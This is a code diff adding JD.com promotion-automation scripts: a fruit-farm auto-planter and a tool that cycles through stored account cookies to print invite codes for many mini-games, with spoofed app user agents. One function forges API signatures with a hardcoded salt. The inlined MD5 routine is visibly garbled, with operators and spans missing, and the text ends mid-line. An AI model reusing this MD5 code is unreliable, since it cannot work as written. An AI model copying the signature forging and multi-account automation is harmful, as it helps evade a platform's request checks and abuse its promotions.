`http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fruit_plant.ts b/jd_fruit_plant.ts new file mode 100644 index 0000000..6308b5e --- /dev/null +++ b/jd_fruit_plant.ts @@ -0,0 +1,46 @@ +/** + * 农场自动收+种4级 + */ + +import USER_AGENT, {o2s, requireConfig, wait} from "./TS_USER_AGENTS" +import axios from "axios"; + +let cookie: string = '', UserName: string, res: any + +!(async () => { + let cookiesArr: string[] = await requireConfig(true) + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + res = await api('initForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + if (![2, 3].includes(res.farmUserPro.treeState)) { + console.log('正在种植...') + } + if (res.farmUserPro.treeState === 2) { + res = await api('gotCouponForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + res = await api('initForFarm', {"version": 11, "channel": 3, "babelChannel": 0}) + } + if (res.farmUserPro.treeState === 3) { + let element = res.farmLevelWinGoods[4][0]; + res = await api('choiceGoodsForFarm', {"imageUrl": '', "nickName": '', "shareCode": '', "goodsType": element.type, "type": "0", "version": 11, "channel": 3, "babelChannel": 0}); + o2s(res) + await api('gotStageAwardForFarm', {"type": "4", "version": 11, "channel": 3, "babelChannel": 0}); + await api('waterGoodForFarm', {"type": "", "version": 11, "channel": 3, "babelChannel": 0}); + await api('gotStageAwardForFarm', {"type": "1", "version": 11, "channel": 3, "babelChannel": 0}); + } + } +})() + +async function api(fn: string, body: object) { + let {data} = await axios.get(`https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify(body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=interact`, { + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + 'User-Agent': USER_AGENT, + } + }) + await wait(1000) + return data +} \ No newline at end of file diff --git a/jd_get_share_code.js b/jd_get_share_code.js new file mode 100644 index 0000000..e6fd8fb --- /dev/null +++ b/jd_get_share_code.js @@ -0,0 +1,756 @@ +/* +一键获取我仓库所有需要互助类脚本的互助码(邀请码)(其中京东赚赚jd_jdzz.js如果今天达到5人助力则不能提取互助码) +没必要设置(cron)定时执行,需要的时候,自己手动执行一次即可 +注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本 +更新地址:jd_get_share_code.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#获取互助码 +20 13 * * 6 jd_get_share_code.js, tag=获取互助码, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 13 * * 6" script-path=jd_get_share_code.js, tag=获取互助码 + +===============Surge================= +获取互助码 = type=cron,cronexp="20 13 * * 6",wake-system=1,timeout=3600,script-path=jd_get_share_code.js + +============小火箭========= +获取互助码 = type=cron,script-path=jd_get_share_code.js, cronexpr="20 13 * * 6", timeout=3600, enable=true + */ +const $ = new Env("获取互助码"); +const JD_API_HOST = "https://api.m.jd.com/client.action"; +let cookiesArr = [], cookie = '', message; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.log('\n注:临时活动的互助码不添加到此处,如有需要请手动运行对应临时活动脚本\n') + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + continue + } + await getShareCode() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function getJdFactory() { + return new Promise(resolve => { + $.post( + taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`$东东工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos; //任务列表 + $.taskVos.map((item) => { + if (item.taskType === 14) { + console.log( + `【京东账号${$.index}(${$.UserName})东东工厂】${item.assistTaskDetailVo.taskToken}` + ); + } + }); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }) +} +function getJxFactory(){ + const JX_API_HOST = "https://m.jingxi.com"; + + function JXGC_taskurl(functionId, body = "") { + return { + url: `${JX_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now()}`, + headers: { + Cookie: cookie, + Host: "m.jingxi.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": + "jdpingou;iPhone;3.14.4;14.0;ae75259f6ca8378672006fc41079cd8c90c53be8;network/wifi;model/iPhone10,2;appBuild/100351;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/62;pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", + "Accept-Language": "zh-cn", + Referer: "https://wqsd.jd.com/pingou/dream_factory/index.html", + "Accept-Encoding": "gzip, deflate, br", + }, + }; + } + + return new Promise(resolve => { + $.get( + JXGC_taskurl( + "userinfo/GetUserInfo", + `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=` + ), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜工厂 API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + data = data["data"]; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ""; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId; //工厂ID + $.productionId = production.productionId; //商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + console.log(`【京东账号${$.index}(${$.UserName})京喜工厂】${data.user.encryptPin}`); + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动` + ); + } else if (data.factoryList && !data.productionList) { + console.log( + `【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购` + ); + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJxNc(){ + const JXNC_API_HOST = "https://wq.jd.com/"; + + function JXNC_taskurl(function_path, body) { + return { + url: `${JXNC_API_HOST}cubeactive/farm/${function_path}?${body}&farm_jstoken=&phoneid=×tamp=&sceneval=2&g_login_type=1&_=${Date.now()}&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: `*/*`, + Connection: `keep-alive`, + Referer: `https://st.jingxi.com/pingou/dream_factory/index.html`, + 'Accept-Encoding': `gzip, deflate, br`, + Host: `wq.jd.com`, + 'Accept-Language': `zh-cn`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + }; + } + + return new Promise(resolve => { + $.get( + JXNC_taskurl('query', `type=1`), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京喜农场 API请求失败,请检查网路重试`); + } else { + data = data.match(/try\{Query\(([\s\S]*)\)\;\}catch\(e\)\{\}/)[1]; + if (safeGet(data)) { + data = JSON.parse(data); + if (data["ret"] === 0) { + if (data.active) { + let shareCodeJson = { + 'smp': data.smp, + 'active': data.active, + 'joinnum': data.joinnum, + }; + console.log(`注意:京喜农场 种植种子发生变化的时候,互助码也会变!!`); + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】` + JSON.stringify(shareCodeJson)); + } else { + console.log(`【京东账号${$.index}(${$.UserName})京喜农场】未选择种子,请先去京喜农场选择种子`); + } + } + } else { + console.log(`京喜农场返回值解析异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + } + ); + }) +} + +function getJdPet(){ + const JDPet_API_HOST = "https://api.m.jd.com/client.action"; + + function jdPet_Url(function_id, body = {}) { + body["version"] = 2; + body["channel"] = "app"; + return { + url: `${JDPet_API_HOST}?functionId=${function_id}`, + body: `body=${escape( + JSON.stringify(body) + )}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + Cookie: cookie, + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + Host: "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + return new Promise(resolve => { + $.post(jdPet_Url("initPetTown"), async (err, resp, data) => { + try { + if (err) { + console.log("东东萌宠: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + + const initPetTownRes = data; + + message = `【京东账号${$.index}】${$.nickName}`; + if ( + initPetTownRes.code === "0" && + initPetTownRes.resultCode === "0" && + initPetTownRes.message === "success" + ) { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + /*console.log( + `【提示】京东账号${$.index}${$.nickName}萌宠活动未开启请手动去京东APP开启活动入口:我的->游戏与互动->查看更多开启` + );*/ + return; + } + + console.log( + `【京东账号${$.index}(${$.UserName})京东萌宠】${$.petInfo.shareCode}` + ); + + } else if (initPetTownRes.code === "0") { + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } else { + console.log("shit"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +async function getJdZZ() { + const JDZZ_API_HOST = "https://api.m.jd.com/client.action"; + function getTaskList() { + return new Promise(resolve => { + $.get(taskZZUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.taskList = data.data.taskDetailResList; + if ($.taskList.filter(item => !!item && item['taskId']=== 3) && $.taskList.filter(item => !!item && item['taskId']=== 3).length) { + console.log(`【京东账号${$.index}(${$.UserName})的京东赚赚好友互助码】${$.taskList.filter(item => !!item && item['taskId']=== 3)[0]['itemId']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + } + + function taskZZUrl(functionId, body = {}) { + return { + url: `${JDZZ_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + + await getTaskList() +} +async function getPlantBean() { + const JDplant_API_HOST = "https://api.m.jd.com/client.action"; + + async function plantBeanIndex() { + $.plantBeanIndexResult = await plant_request("plantBeanIndex"); //plantBeanIndexBody + } + + function plant_request(function_id, body = {}) { + return new Promise(async (resolve) => { + $.post(plant_taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("种豆得豆: API查询请求失败 ‼️‼️"); + console.log(`function_id:${function_id}`); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); + } + + function plant_taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JDplant_API_HOST, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + } + + function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); + const r = url.match(reg); + if (r != null) return unescape(r[2]); + return null; + } + + async function jdPlantBean() { + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult.code === "0") { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl; + $.myPlantUuid = getParam(shareUrl, "plantUuid"); + console.log(`【京东账号${$.index}(${$.UserName})种豆得豆】${$.myPlantUuid}`); + + } else { + console.log( + `种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}` + ); + } + } + + await jdPlantBean(); +} +async function getJDFruit() { + async function initForFarm() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape( + JSON.stringify({version: 4}) + )}&appid=wh5&clientVersion=9.1.0`, + headers: { + accept: "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + cookie: cookie, + origin: "https://home.m.jd.com", + pragma: "no-cache", + referer: "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Content-Type": "application/x-www-form-urlencoded", + }, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log("东东农场: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + async function jdFruit() { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log( + `【京东账号${$.index}(${$.UserName})京东农场】${$.farmInfo.farmUserPro.shareCode}` + ); + + } else { + /*console.log( + `初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify( + $.farmInfo + )}` + );*/ + } + } + + await jdFruit(); +} +async function getJoy(){ + function taskUrl(functionId, body = '') { + let t = Date.now().toString().substr(0, 10) + let e = body || "" + e = $.md5("aDvScBv$gGQvrXfva8dG!ZC@DA70Y%lX" + e + t) + e = e + Number(t).toString(16) + return { + url: `${JD_API_HOST}?uts=${e}&appid=crazy_joy&functionId=${functionId}&body=${escape(body)}&t=${t}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://crazy-joy.jd.com/', + 'origin': 'https://crazy-joy.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + } + let body = {"paramData": {}} + return new Promise(async resolve => { + $.get(taskUrl('crazyJoy_user_gameState', JSON.stringify(body)), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success && data.data && data.data.userInviteCode) { + console.log(`【京东账号${$.index}(${$.UserName})crazyJoy】${data.data.userInviteCode}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//闪购盲盒 +async function getSgmh(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + let url = { + url : `https://api.m.jd.com/client.action`, + headers : { + 'Origin' : `https://h5.m.jd.com`, + 'Cookie' : cookie, + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host' : `api.m.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Accept-Language' : `zh-cn` + }, + body : `functionId=interact_template_getHomeData&body={"appId":"1EFRXxg","taskToken":""}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + const invites = data.data.result.taskVos.filter(item => item['taskName'] === '邀请好友助力'); + console.log(`【京东账号${$.index}(${$.UserName})闪购盲盒】${invites && invites[0]['assistTaskDetailVo']['taskToken']}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +//财富岛 +function getCFD(showInvite = true) { + function taskUrl(function_path, body) { + return { + url: `https://m.jingxi.com/jxcfd/${function_path}?strZone=jxcfd&bizCode=jxcfd&source=jxcfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1&g_ty=ls`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 